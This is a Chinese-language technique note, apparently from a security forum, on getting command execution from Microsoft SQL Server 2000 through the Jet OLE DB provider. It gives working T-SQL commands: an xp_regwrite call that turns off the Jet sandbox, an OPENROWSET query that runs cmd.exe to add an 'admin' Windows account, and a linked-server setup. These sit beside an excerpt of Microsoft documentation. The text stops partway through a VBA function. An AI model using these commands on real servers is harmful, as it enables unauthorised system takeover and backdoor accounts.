然后利用jet.oledb执行系统命令,这个仅仅需要%SystemRoot%读权限即可,还是比较宽松的,所以危害也就相当高了 对于只有DB_OWNER权限的用户,需要建立链接数据库的方式来进行访问,不允许直接访问,至于是否能访问成功,尚未测试。有兴趣的可以自行测试一下,欢迎补充。 MSDN上说: “sp_addlinkedserver : Execute permissions default to members of the sysadmin and setupadmin fixed server roles.” 实际发现sp_addlinkedserver/sp_addlinkedsrvlogin需要setupadmin权限即可执行,而DB_OWNER拥有数据库的全部权限,理论上应该可以成功。
这里仅给出sysadmin权限下使用的命令: select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
建立链接数据库'L0op8ack'参考命令: EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'
摘一段T-SQL参考,实际上这是T-SQL引用异类 OLE DB 数据源的两种方法 openrowset需要sa权限,想用sp_addlinkserver/openquery突破一下,最终发现不能成功 ============================================ 分布式查询构架 Microsoft® SQL Server™ 2000 支持两种在 Transact-SQL 语句中引用异类 OLE DB 数据源的方法,:
1) 链接服务器名称 系统存储过程 sp_addlinkedserver 和sp_addlinkedsrvlogin 用于给 OLE DB 数据源提供服务器名称。可以使用由四个部分构成的名称在 Transact-SQL 语句中引用这些链接服务器中的对象。例如,如果链接服务器的名称 DeptSQLSrvr 是用 SQL Server 2000 的另一个复本定义的,下面的语句引用该服务器上的一个表:
SELECT * FROM DeptSQLSrvr.Northwind.dbo.Employees
也可以在 OPENQUERY 语句中指定链接服务器的名称以从 OLE DB 数据源打开一个行集。之后,可以在 Transact-SQL 语句中像引用表一样引用该行集。
SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0', 'c:\MSOffice\Access\Samples\Northwind.mdb';'Admin';''; Employees)
SQL Server 2000 使用 OLE DB 在关系引擎和存储引擎之间通讯。关系引擎将每个 Transact-SQL 语句分解为一系列操作,这些操作在由存储引擎从基表打开的简单 OLE DB 行集上执行。这意味着关系引擎也可以在任何 OLE DB 数据源上打开简单 OLE DB 行集。 1.exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','Software\Microsoft\Jet\4.0\Engine\SandBoxMode',REG_DWORD,0 写一个注册表的值,开启Access沙盒模式。也就是可在非Application里执行的功能。 2.用OpenRowSet打开一个Access文件.在%windir%\system32\ias里有4个这样的文件。随便拿来用 3.执行的函数如下 Function Shell(ByVal Command As String) As Long